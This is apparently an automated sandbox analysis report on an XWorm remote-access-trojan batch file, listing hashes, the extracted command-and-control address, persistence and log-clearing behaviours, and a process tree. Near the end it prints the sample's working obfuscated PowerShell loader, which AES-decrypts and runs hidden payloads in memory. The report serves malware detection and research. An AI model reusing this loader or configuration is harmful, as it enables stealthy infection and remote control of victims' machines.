Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2025 14:09
Static task
static1
Behavioral task
behavioral1
Sample
123e.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
123e.bat
Resource
win10v2004-20241007-en
General
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Target
123e.bat
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Size
371KB
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MD5
a525af6701d8e4a594e2994ea870a897
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SHA1
2306ae5f37d70cc766548310e4f861cb5429b789
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SHA256
642c23c2a4fdc8ef798b8cd15f01afdc8267f2e86653d189e42e4ffe46768460
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SHA512
92b04239a02e7fa2c2a3c8aba75b0efd22e8f5fef0b3f50582614b790ff28c9b012e110545d251de1c6d079ee072a73d37df1d719d7dc4628b147c8e12e8c4b8
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SSDEEP
6144:+L5ako4qqxyFfjAucVx6Nbk9CKAZ/QEqnURfniEEYLyNwTn1Z0AGM63RBpCSkuVi:+taD4qqxKbExWrTZ/QKet2cFMIRB9wvZ
Malware Config
Extracted
xworm
5.0
real-enquiry.gl.at.ply.gg:15403
XMR2SpG5rhnOf6LO
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Install_directory
%Public%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/2636-146-0x0000022342920000-0x0000022342930000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 6 IoCs
flow pid Process 17 2636 powershell.exe 25 2636 powershell.exe 39 2636 powershell.exe 43 2636 powershell.exe 50 2636 powershell.exe 51 2636 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4020 powershell.exe 2636 powershell.exe 4156 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient" powershell.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001880110176D722" svchost.exe -
Modifies registry class 20 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150102041493" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150546416523" svchost.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150069854095" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150072510298" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150100322642" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150111416458" svchost.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150046416793" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150074228674" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150226572774" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150022666534" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150078291411" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150106728887" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133821150223760430" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133821150549698036" svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4156 powershell.exe 4156 powershell.exe 4020 powershell.exe 4020 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeIncreaseQuotaPrivilege 4020 powershell.exe Token: SeSecurityPrivilege 4020 powershell.exe Token: SeTakeOwnershipPrivilege 4020 powershell.exe Token: SeLoadDriverPrivilege 4020 powershell.exe Token: SeSystemProfilePrivilege 4020 powershell.exe Token: SeSystemtimePrivilege 4020 powershell.exe Token: SeProfSingleProcessPrivilege 4020 powershell.exe Token: SeIncBasePriorityPrivilege 4020 powershell.exe Token: SeCreatePagefilePrivilege 4020 powershell.exe Token: SeBackupPrivilege 4020 powershell.exe Token: SeRestorePrivilege 4020 powershell.exe Token: SeShutdownPrivilege 4020 powershell.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeSystemEnvironmentPrivilege 4020 powershell.exe Token: SeRemoteShutdownPrivilege 4020 powershell.exe Token: SeUndockPrivilege 4020 powershell.exe Token: SeManageVolumePrivilege 4020 powershell.exe Token: 33 4020 powershell.exe Token: 34 4020 powershell.exe Token: 35 4020 powershell.exe Token: 36 4020 powershell.exe Token: SeIncreaseQuotaPrivilege 4020 powershell.exe Token: SeSecurityPrivilege 4020 powershell.exe Token: SeTakeOwnershipPrivilege 4020 powershell.exe Token: SeLoadDriverPrivilege 4020 powershell.exe Token: SeSystemProfilePrivilege 4020 powershell.exe Token: SeSystemtimePrivilege 4020 powershell.exe Token: SeProfSingleProcessPrivilege 4020 powershell.exe Token: SeIncBasePriorityPrivilege 4020 powershell.exe Token: SeCreatePagefilePrivilege 4020 powershell.exe Token: SeBackupPrivilege 4020 powershell.exe Token: SeRestorePrivilege 4020 powershell.exe Token: SeShutdownPrivilege 4020 powershell.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeSystemEnvironmentPrivilege 4020 powershell.exe Token: SeRemoteShutdownPrivilege 4020 powershell.exe Token: SeUndockPrivilege 4020 powershell.exe Token: SeManageVolumePrivilege 4020 powershell.exe Token: 33 4020 powershell.exe Token: 34 4020 powershell.exe Token: 35 4020 powershell.exe Token: 36 4020 powershell.exe Token: SeIncreaseQuotaPrivilege 4020 powershell.exe Token: SeSecurityPrivilege 4020 powershell.exe Token: SeTakeOwnershipPrivilege 4020 powershell.exe Token: SeLoadDriverPrivilege 4020 powershell.exe Token: SeSystemProfilePrivilege 4020 powershell.exe Token: SeSystemtimePrivilege 4020 powershell.exe Token: SeProfSingleProcessPrivilege 4020 powershell.exe Token: SeIncBasePriorityPrivilege 4020 powershell.exe Token: SeCreatePagefilePrivilege 4020 powershell.exe Token: SeBackupPrivilege 4020 powershell.exe Token: SeRestorePrivilege 4020 powershell.exe Token: SeShutdownPrivilege 4020 powershell.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeSystemEnvironmentPrivilege 4020 powershell.exe Token: SeRemoteShutdownPrivilege 4020 powershell.exe Token: SeUndockPrivilege 4020 powershell.exe Token: SeManageVolumePrivilege 4020 powershell.exe Token: 33 4020 powershell.exe Token: 34 4020 powershell.exe Token: 35 4020 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3676 wrote to memory of 4760 3676 cmd.exe 84 PID 3676 wrote to memory of 4760 3676 cmd.exe 84 PID 3676 wrote to memory of 4156 3676 cmd.exe 85 PID 3676 wrote to memory of 4156 3676 cmd.exe 85 PID 4156 wrote to memory of 4020 4156 powershell.exe 86 PID 4156 wrote to memory of 4020 4156 powershell.exe 86 PID 4156 wrote to memory of 3468 4156 powershell.exe 90 PID 4156 wrote to memory of 3468 4156 powershell.exe 90 PID 3468 wrote to memory of 4476 3468 WScript.exe 91 PID 3468 wrote to memory of 4476 3468 WScript.exe 91 PID 4476 wrote to memory of 3336 4476 cmd.exe 93 PID 4476 wrote to memory of 3336 4476 cmd.exe 93 PID 4476 wrote to memory of 2636 4476 cmd.exe 94 PID 4476 wrote to memory of 2636 4476 cmd.exe 94 PID 2636 wrote to memory of 3456 2636 powershell.exe 56 PID 2636 wrote to memory of 392 2636 powershell.exe 14 PID 2636 wrote to memory of 3936 2636 powershell.exe 71 PID 2636 wrote to memory of 5116 2636 powershell.exe 68 PID 2636 wrote to memory of 1764 2636 powershell.exe 30 PID 2636 wrote to memory of 2344 2636 powershell.exe 41 PID 2636 wrote to memory of 2144 2636 powershell.exe 39 PID 2636 wrote to memory of 952 2636 powershell.exe 12 PID 2636 wrote to memory of 3376 2636 powershell.exe 55 PID 2636 wrote to memory of 1336 2636 powershell.exe 23 PID 2636 wrote to memory of 4680 2636 powershell.exe 67 PID 2636 wrote to memory of 1324 2636 powershell.exe 22 PID 2636 wrote to memory of 1520 2636 powershell.exe 26 PID 2636 wrote to memory of 1716 2636 powershell.exe 29 PID 2636 wrote to memory of 1912 2636 powershell.exe 34 PID 2636 wrote to memory of 2696 2636 powershell.exe 48 PID 2636 wrote to memory of 1904 2636 powershell.exe 33 PID 2636 wrote to memory of 1504 2636 powershell.exe 25 PID 2636 wrote to memory of 2684 2636 powershell.exe 47 PID 2636 wrote to memory of 908 2636 powershell.exe 11 PID 2636 wrote to memory of 900 2636 powershell.exe 15 PID 2636 wrote to memory of 1096 2636 powershell.exe 18 PID 2636 wrote to memory of 2664 2636 powershell.exe 46 PID 2636 wrote to memory of 1676 2636 powershell.exe 28 PID 2636 wrote to memory of 1084 2636 powershell.exe 17 PID 2636 wrote to memory of 2068 2636 powershell.exe 38 PID 2636 wrote to memory of 1076 2636 powershell.exe 16 PID 2636 wrote to memory of 2256 2636 powershell.exe 40 PID 2636 wrote to memory of 5056 2636 powershell.exe 69 PID 2636 wrote to memory of 1856 2636 powershell.exe 32 PID 2636 wrote to memory of 1260 2636 powershell.exe 21 PID 2636 wrote to memory of 2420 2636 powershell.exe 43 PID 2636 wrote to memory of 2024 2636 powershell.exe 36 PID 2636 wrote to memory of 3596 2636 powershell.exe 57 PID 2636 wrote to memory of 2412 2636 powershell.exe 42 PID 2636 wrote to memory of 2808 2636 powershell.exe 50 PID 2636 wrote to memory of 1532 2636 powershell.exe 27 PID 2636 wrote to memory of 1236 2636 powershell.exe 20 PID 2636 wrote to memory of 440 2636 powershell.exe 75 PID 2636 wrote to memory of 2592 2636 powershell.exe 44 PID 2636 wrote to memory of 3180 2636 powershell.exe 54 PID 2636 wrote to memory of 1208 2636 powershell.exe 19 PID 2636 wrote to memory of 1988 2636 powershell.exe 35 PID 2636 wrote to memory of 2212 2636 powershell.exe 65 PID 2636 wrote to memory of 1784 2636 powershell.exe 31 PID 2636 wrote to memory of 796 2636 powershell.exe 10 PID 2636 wrote to memory of 1384 2636 powershell.exe 24 PID 2636 wrote to memory of 1424 2636 powershell.exe 98 PID 796 wrote to memory of 3632 796 svchost.exe 100 PID 796 wrote to memory of 3632 796 svchost.exe 100 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3632
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4628
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4916
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:1984
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4084
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4004
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:4944
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:392
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1084
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1208
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1532
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3376
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3456
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\123e.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3676 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMuNM+NoeoilVnbVcgHZqIY5pZsDXTl8ky9l6Hk27Wg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Th2eHiyH2cvkjKqYgrdjbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CErIK=New-Object System.IO.MemoryStream(,$param_var); $vsVXh=New-Object System.IO.MemoryStream; $zmJWY=New-Object System.IO.Compression.GZipStream($CErIK, [IO.Compression.CompressionMode]::Decompress); $zmJWY.CopyTo($vsVXh); $zmJWY.Dispose(); $CErIK.Dispose(); $vsVXh.Dispose(); $vsVXh.ToArray();}function execute_function($param_var,$param2_var){ $bfDBn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rueAb=$bfDBn.EntryPoint; $rueAb.Invoke($null, $param2_var);}$TXIIM = 'C:\Users\Admin\AppData\Local\Temp\123e.bat';$host.UI.RawUI.WindowTitle = $TXIIM;$ggaPo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TXIIM).Split([Environment]::NewLine);foreach ($fPcBx in $ggaPo) { if ($fPcBx.StartsWith('ZhMGFACGbzxXRPyaLEAa')) { $VQAoZ=$fPcBx.Substring(20); break; }}$payloads_var=[string[]]$VQAoZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:4760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
